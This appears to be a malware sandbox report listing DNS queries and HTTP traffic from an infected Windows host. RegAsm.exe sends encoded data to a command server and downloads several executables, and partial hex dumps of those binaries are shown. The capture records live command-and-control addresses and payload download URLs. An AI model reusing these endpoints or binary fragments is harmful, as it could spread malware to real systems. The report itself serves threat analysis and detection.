Sep 18, 2024 14:30:10.225583076 CEST	1.1.1.1	192.168.2.7	0x54	No error (0)	s3-w.us-east-1.amazonaws.com		52.217.91.132	A (IP address)	IN (0x0001)	false
Sep 18, 2024 14:30:24.670278072 CEST	1.1.1.1	192.168.2.7	0x142	No error (0)	iplogger.org		104.26.3.46	A (IP address)	IN (0x0001)	false
Sep 18, 2024 14:30:24.670278072 CEST	1.1.1.1	192.168.2.7	0x142	No error (0)	iplogger.org		104.26.2.46	A (IP address)	IN (0x0001)	false
Sep 18, 2024 14:30:24.670278072 CEST	1.1.1.1	192.168.2.7	0x142	No error (0)	iplogger.org		172.67.74.161	A (IP address)	IN (0x0001)	false
Sep 18, 2024 14:30:31.538276911 CEST	1.1.1.1	192.168.2.7	0x139c	No error (0)	t.me		149.154.167.99	A (IP address)	IN (0x0001)	false
Sep 18, 2024 14:30:56.473201036 CEST	1.1.1.1	192.168.2.7	0xd4da	Name error (3)	tenntysjuxmz.shop	none	none	A (IP address)	IN (0x0001)	false
Sep 18, 2024 14:31:09.374768019 CEST	1.1.1.1	192.168.2.7	0x161b	Name error (3)	tenntysjuxmz.shop	none	none	A (IP address)	IN (0x0001)	false
Sep 18, 2024 14:31:28.088403940 CEST	141.98.234.31	192.168.2.7	0x1c50	No error (0)	ddudzob.info		185.196.8.214	A (IP address)	IN (0x0001)	false
Sep 18, 2024 14:31:36.583942890 CEST	1.1.1.1	192.168.2.7	0xe26e	No error (0)	t.me		149.154.167.99	A (IP address)	IN (0x0001)	false
Sep 18, 2024 14:31:44.572566986 CEST	1.1.1.1	192.168.2.7	0x64be	Name error (3)	tenntysjuxmz.shop	none	none	A (IP address)	IN (0x0001)	false
Sep 18, 2024 14:32:09.960077047 CEST	1.1.1.1	192.168.2.7	0x322c	Name error (3)	DfaHzNEFWflnBHLCTDHez.DfaHzNEFWflnBHLCTDHez	none	none	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49700	45.91.200.135	80	2724	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 18, 2024 14:30:00.179752111 CEST	203	OUT	GET /api/wp-ping.php HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 45.91.200.135
Sep 18, 2024 14:30:00.879098892 CEST	259	IN	HTTP/1.1 200 OK Date: Wed, 18 Sep 2024 12:30:00 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 6 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 66 69 73 68 31 35 Data Ascii: fish15
Sep 18, 2024 14:30:04.632993937 CEST	275	OUT	POST /api/wp-admin.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Content-Length: 133 Host: 45.91.200.135
Sep 18, 2024 14:30:04.633044958 CEST	133	OUT	Data Raw: 64 61 74 61 3d 52 76 46 4f 6b 37 39 46 73 39 6a 6c 70 77 36 41 52 48 4e 32 5a 78 39 66 4a 74 38 39 52 43 5f 67 4b 69 50 58 44 4f 67 37 4f 31 5a 36 62 38 56 57 71 6c 35 4a 64 37 4c 49 5a 56 30 39 41 4b 5f 43 61 65 47 34 30 4e 49 45 78 69 69 41 6d Data Ascii: data=RvFOk79Fs9jlpw6ARHN2Zx9fJt89RC_gKiPXDOg7O1Z6b8VWql5Jd7LIZV09AK_CaeG40NIExiiAm1RCaSDx4eJHijDjQBFeLzESZIEClGWzNj1usWxu85Y17hxgEWPc
Sep 18, 2024 14:30:05.203304052 CEST	362	IN	HTTP/1.1 200 OK Date: Wed, 18 Sep 2024 12:30:04 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 108 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 6f 45 6d 63 2f 55 66 61 4c 67 44 55 53 45 48 75 2f 35 6d 41 78 6b 58 71 66 35 35 35 36 76 72 42 30 5a 72 56 77 49 68 76 45 59 62 50 32 49 54 79 47 48 56 4c 70 38 57 6f 4d 4d 6d 55 4e 33 69 6e 39 49 51 33 49 38 63 64 30 39 31 42 2f 50 39 49 61 63 36 37 65 39 4f 77 66 66 53 77 4c 6d 33 33 61 37 6e 4a 55 30 67 2f 36 6d 51 3d Data Ascii: oEmc/UfaLgDUSEHu/5mAxkXqf5556vrB0ZrVwIhvEYbP2ITyGHVLp8WoMMmUN3in9IQ3I8cd091B/P9Iac67e9OwffSwLm33a7nJU0g/6mQ=
Sep 18, 2024 14:30:05.340111017 CEST	275	OUT	POST /api/wp-admin.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Content-Length: 133 Host: 45.91.200.135
Sep 18, 2024 14:30:05.340111017 CEST	133	OUT	Data Raw: 64 61 74 61 3d 79 6f 54 62 61 69 67 63 54 48 4d 45 5f 43 44 4f 4f 68 77 36 6c 64 6a 4b 31 66 38 71 6c 78 74 45 65 5f 6a 30 6e 44 6f 49 64 5f 2d 77 39 50 61 52 4a 55 52 33 4a 56 69 46 2d 72 49 68 65 4f 61 4c 53 69 2d 6d 73 49 50 4d 33 6f 75 70 4b Data Ascii: data=yoTbaigcTHME_CDOOhw6ldjK1f8qlxtEe_j0nDoId_-w9PaRJUR3JViF-rIheOaLSi-msIPM3oupKbXVB1G5jWo9Tkd0oNXzTc-n7ijfDiVfNoJvqUjO4LYFLbnvBDrr
Sep 18, 2024 14:30:06.167859077 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 18 Sep 2024 12:30:05 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 2092 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 35 77 75 47 35 59 34 33 34 5a 70 6b 70 4b 78 68 6a 30 73 39 55 43 39 35 67 42 6f 6c 58 69 62 79 65 57 32 47 67 64 48 38 34 45 6f 75 56 43 45 7a 70 2f 45 55 79 78 44 68 54 67 46 5a 48 2b 77 47 6b 4c 69 6d 4e 4f 42 54 4c 68 76 38 6a 39 2f 4f 45 4a 50 54 63 75 48 37 35 6d 67 76 6c 6d 39 32 63 74 4a 74 59 41 47 6e 32 4e 64 58 69 35 62 57 79 54 35 6d 41 74 6a 75 54 59 53 45 65 49 45 6a 6c 57 39 66 51 79 30 6d 43 64 58 6e 79 57 4f 72 62 2f 44 45 65 55 34 47 36 61 59 77 31 76 6f 4b 65 4c 61 63 47 47 59 4e 32 64 38 2f 63 33 4f 5a 77 4a 59 37 34 64 70 75 4c 61 32 43 4a 50 76 61 32 57 68 71 52 6b 66 58 6b 76 35 47 50 6c 79 67 47 52 64 56 4b 33 6d 75 55 71 53 36 7a 69 31 52 55 54 46 2b 62 74 62 2b 65 64 38 75 71 32 66 43 46 79 39 57 70 49 78 52 4d 6c 72 55 35 38 77 53 55 69 4a 32 45 65 44 30 37 4d 5a 78 79 76 6a 34 78 67 6e 4e 57 6d 6e 52 4e 6a 6a 53 62 36 6e 4d 7a 59 75 49 37 4b 77 6a 34 42 71 30 58 59 47 41 4b 6c 37 7a 63 35 70 47 46 75 51 4e 68 4f 42 56 46 39 69 7a 53 6a 43 78 78 31 65 70 6c 6e 31 46 62 35 [TRUNCATED] Data Ascii: 5wuG5Y434ZpkpKxhj0s9UC95gBolXibyeW2GgdH84EouVCEzp/EUyxDhTgFZH+wGkLimNOBTLhv8j9/OEJPTcuH75mgvlm92ctJtYAGn2NdXi5bWyT5mAtjuTYSEeIEjlW9fQy0mCdXnyWOrb/DEeU4G6aYw1voKeLacGGYN2d8/c3OZwJY74dpuLa2CJPva2WhqRkfXkv5GPlygGRdVK3muUqS6zi1RUTF+btb+ed8uq2fCFy9WpIxRMlrU58wSUiJ2EeD07MZxyvj4xgnNWmnRNjjSb6nMzYuI7Kwj4Bq0XYGAKl7zc5pGFuQNhOBVF9izSjCxx1epln1Fb526NU3shmrok9PTCoWkKRWLITopoPl2Rst43+kdEMsgmnetttqxSoM+aqcEPw4xMW/Z/mY6A60gLxy2ZevE4uY1szqJ1MMaW3EAmbVleeqi4VOQTajBgAA0XynF4HzZs2GH2WxRjqA8lZl3chMB13UDJLZKHh20XrKD7px6yQyCHmX0nZXM6DhDzq67UpyUke1OFIo5XupPH4/rRXFkWo7Zq1wav0bDCffr1tHfqRQVk4grsi9zCxbqTAVFUaYZ2N30A2C+I2rRYV0bgk+IeEdY8hGk9Rc4JjdPi3ZopsGOGIKR50bMwGoJPJwLzVvNuOAGuruOcD5cL7COnxk2gU7C4iOE/iWyMAz0CJWcYigr34IBEaNQ01DUtgqVKKpEMUBNaFyUaHL+cjuS4KXIj6hIATT5E3ygxNOxOD5Ulc0xFHR8wA4uTsIh9uu92lZCsOJlVc7yNXExFqItBpqLrpqHWZPUGpKYhDRnw0hHaO7iooHenO1cHZy0p1YPgcpGXz15IZxlLd71Plqk+c1deyrRCdk4M5L74PUnhrU3lSzOnvDqIeGyUoorv7Qb676oNpiyD9ckXRp1ggvDZ7b2WkHUPJgRcZvxlogrLRfQnMKIGlOAMm3LBMBFGhJmlFNTPJ4jj
Sep 18, 2024 14:30:06.167879105 CEST	1111	IN	Data Raw: 53 54 75 54 42 47 56 72 67 2b 66 37 4f 66 56 54 68 68 35 31 6d 57 67 59 38 39 66 67 5a 58 7a 36 74 35 71 70 62 69 70 43 4d 6d 34 4d 4c 6d 79 5a 42 41 4a 66 61 6e 46 47 31 44 77 70 50 57 54 76 35 35 57 79 33 51 44 38 31 34 56 58 52 4f 44 7a 67 54 Data Ascii: STuTBGVrg+f7OfVThh51mWgY89fgZXz6t5qpbipCMm4MLmyZBAJfanFG1DwpPWTv55Wy3QD814VXRODzgTvbdShsh3ZSzcvhBplrVbE7C0KvNiuhE9iPi9UHDKIWsYOMSLZAY+ZvVeVwha9ZqifvfQVy4YzevO/pJ8UHhQA2CqJCuUnqQDB9SNBQTU52RBg8th6j3dBggESX+r/eZ7/5v4u74t80lHuW/cNybXt7BGuPK2hNuTA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49704	147.45.44.104	80	2724	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 18, 2024 14:30:06.684757948 CEST	217	OUT	HEAD /prog/66e705d09b33c_jack.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Sep 18, 2024 14:30:07.297879934 CEST	311	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 18 Sep 2024 12:30:07 GMT Content-Type: application/octet-stream Content-Length: 4249600 Last-Modified: Sun, 15 Sep 2024 16:05:36 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66e705d0-40d800" X-Content-Type-Options: nosniff Accept-Ranges: bytes
Sep 18, 2024 14:30:07.298238039 CEST	220	OUT	HEAD /lopsa/66ea645129e6a_jacobs.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Sep 18, 2024 14:30:07.682739019 CEST	312	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 18 Sep 2024 12:30:07 GMT Content-Type: application/octet-stream Content-Length: 11496960 Last-Modified: Wed, 18 Sep 2024 05:25:37 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66ea6451-af6e00" X-Content-Type-Options: nosniff Accept-Ranges: bytes
Sep 18, 2024 14:30:07.683077097 CEST	238	OUT	HEAD /revada/66e86c030044f_UniversityGradually.exe#sun HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Sep 18, 2024 14:30:07.877407074 CEST	311	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 18 Sep 2024 12:30:07 GMT Content-Type: application/octet-stream Content-Length: 1555388 Last-Modified: Mon, 16 Sep 2024 17:33:54 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66e86c02-17bbbc" X-Content-Type-Options: nosniff Accept-Ranges: bytes
Sep 18, 2024 14:30:07.878016949 CEST	215	OUT	GET /yuop/66e9b62daa62d_xin.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Sep 18, 2024 14:30:08.062274933 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 18 Sep 2024 12:30:07 GMT Content-Type: application/octet-stream Content-Length: 360824 Last-Modified: Tue, 17 Sep 2024 17:02:37 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66e9b62d-58178" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 33 a2 e9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 4e 05 00 00 08 00 00 00 00 00 00 6e 6c 05 00 00 20 00 00 00 80 05 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 05 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 14 6c 05 00 57 00 00 00 00 80 05 00 e8 05 00 00 00 00 00 00 00 00 00 00 00 58 05 00 78 29 00 00 00 a0 05 00 0c 00 00 00 dc 6a 05 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL3fNnl @ `lWXx)j H.texttL N `.rsrcP@@.relocV@BPlH ]0Hn+Jx~OcAOwu "_ovvlxN+T[Agf[q"L"wKO88`"3j7PUNyXg%"\>8$T?uM$C28[Yan\|MoyEurlO3TI)Md'c2LB{Z$Rx5_8@@5,by_%8_aYP/>7\|~{k~e5'mA!Q[CHI)
Sep 18, 2024 14:30:08.062285900 CEST	1236	IN	Data Raw: 89 11 6f 24 cc 5e e1 5c a8 2a a6 76 22 23 94 bb 33 83 d1 bd 6c 94 f7 a5 46 e2 c5 85 b1 99 45 08 fd 45 d9 cd 2d 45 93 48 2a d4 9c 22 17 20 29 bd fd 7d 93 76 4c 12 55 d4 88 09 70 c6 50 55 f1 e3 76 f8 2e 88 09 08 e5 dd 61 a3 43 2a 05 de 84 a1 18 bc Data Ascii: o$^\v"#3lFEE-EH" )}vLUpPUv.aCAdM&h]kks/M%3jU!C6yc=A$>g)(OK"kI/(%FU,&)q;uvUO2qK?_ZlLwz_vfA~F
Sep 18, 2024 14:30:08.062396049 CEST	448	IN	Data Raw: 21 cf 61 7a c3 89 3d 70 b4 c0 b7 4b a0 d6 e3 6f b1 df 22 87 5a 61 7b 6a f7 f8 e7 12 1d b8 90 7e 42 37 c3 58 3b 86 05 58 97 db a4 2c 7c cd 9a cd 8c 2c db 84 24 ac 19 6b 1e 14 61 4c f6 02 e3 50 48 16 b5 21 ac 52 d3 cc 9b 3d a7 76 fd 8b 28 38 92 70 Data Ascii: !az=pKo"Za{j~B7X;X,\|,$kaLPH!R=v(8p\|}G(Lx)^ORDsZ`+y06?\|r~gjg(qLBym{=4bjhk0~+MOY?DhCJt-sQCgccn?h
Sep 18, 2024 14:30:08.062550068 CEST	1236	IN	Data Raw: a1 91 fd ad 4b ee b3 d6 0d 46 b5 c8 7e bb 68 33 e6 a5 1a 8d 6f 8d 5b f9 9a 86 dc 0a 61 5a a9 a2 d6 71 4d 36 2e bf 18 5a 3b df c4 c1 c4 17 9f d9 b9 22 ef 3b a4 78 df 08 dd 02 a0 f2 2a c3 4d c9 00 a0 c6 a0 fe 4b 71 72 14 5c 3c 59 70 c5 16 f6 31 65 Data Ascii: KF~h3o[aZqM6.Z;";xMKqr\<Yp1e2K!uWA`=`F0a>zre5Tw!+CYUod!O&muB<ltOj~?aX{LA`K(HuG(5~)+2XR%\e4cLR
Sep 18, 2024 14:30:08.062560081 CEST	1236	IN	Data Raw: 3c 8f 0e 40 e0 50 e4 ae 30 6f 34 99 28 5c 0f 29 ff c3 05 ea fa ca 46 dc 7f a4 f3 cf dc 5a e2 20 68 1c 95 97 82 47 91 d0 8c f3 40 e3 99 c0 f6 70 9b 60 a1 14 ab 8e 32 92 12 b4 fe 61 ad 5b ec 6e fa 00 af 0f 65 4f ef 6b 46 c4 02 f4 3c ff 90 09 9a c4 Data Ascii: <@P0o4(\)FZ hG@p`2a[neOkF<q\TsbFDN5M6_lx/Bq5Q.LvE7UEzCFz}9Sb\|s),wS>Rh(]%(zWc^"GZp0'xTLNF Se
Sep 18, 2024 14:30:08.062571049 CEST	1236	IN	Data Raw: e6 55 62 1f 2e cf e6 df 95 47 03 7f 12 87 e1 76 77 2a c6 bb a3 41 7c 32 99 95 5b 2d de 02 4f 23 40 18 06 48 a9 c9 44 98 f6 a2 85 c4 da 99 b3 05 52 55 e8 6a c1 68 26 16 9c ab 1a 15 83 40 4c cb ae 58 cd 46 63 1b 61 88 50 ae 2f 1c 9d 3a 83 88 1f 0f Data Ascii: Ub.Gvw*A\|2[-O#@HDRUjh&@LXFcaP/:cpZTE1UiN4(Cq )C_"p-IyC`6\Js_,$V_Q?vHl9cBCt9PxX2w4lkh'
Sep 18, 2024 14:30:08.062591076 CEST	1236	IN	Data Raw: 3e cc 47 fa 0b ea 47 fa 89 c8 86 68 9c 14 90 e2 8d 48 dc 53 cc f5 5c c4 ef d1 11 9b 59 c4 63 fb 17 08 26 54 36 9d ad 7d 25 cf eb 13 4a 1b 3a f0 fa 9d 60 ca 86 eb 1b 6d cb d5 6e 10 b5 0b 98 f0 18 6c 04 d7 b6 61 b9 26 85 11 83 72 82 b1 de 76 14 44 Data Ascii: >GGhHS\Yc&T6}%J:`mnla&rvDXOXgO~~tXw\|=Tflu>E`&UNnMY\Of}sfFN4Y$@Lt)tI=lqz/.{FV>*'wo0'KtEDfA;wbg4
Sep 18, 2024 14:30:08.062608004 CEST	328	IN	Data Raw: b0 75 d1 b6 c4 d5 f5 21 94 89 d0 15 58 41 87 36 39 bc 36 8e e6 7d 38 d3 41 0a ef 30 ad 4b 34 2a 41 6f 8c e0 1d e5 f8 a5 b5 44 c9 7e 01 88 8e cf c8 7d 6b b6 7c 2a 6a b4 68 b4 5b c4 52 f5 cd 8e e6 4c 9b 93 7a 67 20 02 d2 e8 80 a4 1b ee 0a 01 82 08 Data Ascii: u!XA696}8A0K4AoD~}k\|jh[RLzg VU;ZF&VIUJa/v!!m]w";P+"BU(TrLrJ9qMe_l5tMVq&IQ\| 9j>@
Sep 18, 2024 14:30:08.063076973 CEST	1236	IN	Data Raw: e3 42 79 cd 26 4f 0b 4c 47 68 3e f1 6c b9 ff a5 65 b3 c4 85 0c f5 a1 55 a4 54 87 64 03 27 a0 94 ea 75 58 84 66 53 93 ae 5c 10 a5 a4 ab 2d 73 54 1e bc 4b 4e 48 26 7a f7 5b e9 65 28 3a 6d ad 28 e8 fa 8e 50 72 f5 0e 7c 31 bc 5a 86 68 2c 2c 6f 07 cc Data Ascii: By&OLGh>leUTd'uXfS\-sTKNH&z[e(:m(Pr\|1Zh,,o4{mZ H<mWkpzom"'PEX,QU1@8MXxf"9yIHK?eT}qP#n8fX($Scj?r5@EgDqCiDwjSY
Sep 18, 2024 14:30:08.063090086 CEST	1236	IN	Data Raw: 93 cc 1b dd 7c b6 b9 53 44 74 f7 4b a1 bb 94 0c 9c fb 9c b0 dd 42 ab cf c1 d0 88 59 82 74 d1 35 9a 94 a5 14 13 e5 c7 d6 ca 9d 31 77 a1 a5 ff e2 13 05 9b cb 8f 22 ff bf 6e 83 ba 57 bb 86 96 f0 b7 23 2b 4c 59 22 f0 46 ca dd 42 7a 63 8c e2 92 16 cb Data Ascii: \|SDtKBYt51w"nW#+LY"FBzc[#Qgm'@ppu/WOZ2L;@=YaFD2x~:fRpW<JoDk`zbmoIl2WJ@q{Cd$-\+M
Sep 18, 2024 14:30:08.063101053 CEST	448	IN	Data Raw: ff a7 8d 85 85 cc 54 5e 3b f6 23 f0 f2 d2 31 d0 df b3 16 9d 62 7f 58 fb 72 3c 70 4d 99 a2 b4 e6 f9 c5 80 52 f6 76 80 1c e0 f3 75 07 36 5c 18 1b 3f fd 32 8e b2 3a 3b cb 66 92 38 94 73 1c b6 bf 40 78 69 f5 09 95 3c 2e 95 cb be 77 e8 3e 6a 6c 0f da Data Ascii: T^;#1bXr<pMRvu6\?2:;f8s@xi<.w>jlvHsX T\"##w5yun85p!gtCa0((dO1-h'M?5zFz@~:&q*mWWklY0_>&W}j\j`
Sep 18, 2024 14:30:08.522962093 CEST	219	OUT	GET /lopsa/66ea645129e6a_jacobs.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Sep 18, 2024 14:30:08.707442999 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 18 Sep 2024 12:30:08 GMT Content-Type: application/octet-stream Content-Length: 11496960 Last-Modified: Wed, 18 Sep 2024 05:25:37 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66ea6451-af6e00" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 64 86 0a 00 ad 2b dd 66 00 00 00 00 00 00 00 00 f0 00 23 00 0b 02 0e 00 00 82 00 00 00 06 cd 00 00 00 00 00 5d 70 fd 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 a8 01 00 04 00 00 00 00 00 00 02 00 20 81 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 90 d1 fd 00 3c 00 00 00 00 50 a5 01 d8 04 03 00 40 16 a5 01 60 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 46 00 01 28 00 00 00 00 15 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEd+f#]p@` <P@`*F(8 .text6 `.rdata@@.data@.pdata@@.00cfg@@.tls@.text0p- `.text1X@.text2`b`h.rsrcPh@@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49703	176.113.115.33	80	2724	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 18, 2024 14:30:06.686167002 CEST	207	OUT	HEAD /search/gefox.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 176.113.115.33 Cache-Control: no-cache
Sep 18, 2024 14:30:07.682812929 CEST	351	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Wed, 18 Sep 2024 12:30:07 GMT Content-Type: application/octet-stream Content-Length: 3064607 Connection: keep-alive Content-Description: File Transfer Content-Disposition: attachment; filename=gefox.exe Content-Transfer-Encoding: binary Expires: 0 Cache-Control: must-revalidate Pragma: public
Sep 18, 2024 14:30:07.683353901 CEST	206	OUT	GET /search/gefox.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 176.113.115.33 Cache-Control: no-cache
Sep 18, 2024 14:30:08.024930000 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Wed, 18 Sep 2024 12:30:07 GMT Content-Type: application/octet-stream Content-Length: 3064607 Connection: keep-alive Content-Description: File Transfer Content-Disposition: attachment; filename=gefox.exe Content-Transfer-Encoding: binary Expires: 0 Cache-Control: must-revalidate Pragma: public Data Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 19 5e 42 2a 00 00 00 00 00 00 00 00 e0 00 8f 81 0b 01 02 19 00 9e 00 00 00 46 00 00 00 00 00 00 f8 a5 00 00 00 10 00 00 00 b0 00 00 00 00 40 00 00 10 00 00 00 02 00 00 01 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 40 [TRUNCATED] Data Ascii: MZP@!L!This program must be run under Win32$7PEL^B*F@@@P,CODE0 `DATAP@BSS.idataP@.tls.rdata@P.reloc@P.rsrc,,@P@@P
Sep 18, 2024 14:30:08.024947882 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: string<@m@)@(@(@)@$)@Free0)@InitInstanceL)@Clean
Sep 18, 2024 14:30:08.024962902 CEST	448	IN	Data Raw: ff 00 00 81 e6 00 00 ff ff 89 73 04 6a 01 68 00 20 00 00 56 6a 00 e8 f8 fd ff ff 8b f8 89 3b 85 ff 74 23 8b d3 b8 3c c4 40 00 e8 6c fe ff ff 84 c0 75 13 68 00 80 00 00 6a 00 8b 03 50 e8 d9 fd ff ff 33 c0 89 03 5f 5e 5b c3 90 53 56 57 55 8b d9 8b Data Ascii: sjh Vj;t#<@luhjP3_^[SVWUCjh hU;usjh VU;t#<@uhjPb3]_^[SVWUL$$D$3T$$D$<@Q
Sep 18, 2024 14:30:08.024983883 CEST	1181	IN	Data Raw: 3c 8b 5e 08 8b 7e 0c 03 fb 3b eb 76 02 8b dd 3b 7c 24 08 76 04 8b 7c 24 08 3b fb 76 1e 6a 04 68 00 10 00 00 2b fb 57 53 e8 26 fc ff ff 85 c0 75 0a 8b 44 24 04 33 d2 89 10 eb 0a 8b 36 81 fe 3c c4 40 00 75 bc 83 c4 0c 5d 5f 5e 5b c3 8b c0 53 56 57 Data Ascii: <^~;v;\|$v\|$;vjh+WS&uD$36<@u]_^[SVWUQ4$$+$A5<@8^~;$s$;s;vh@+WSu@6<@uZ]_^[@SVWUL@?]3;{
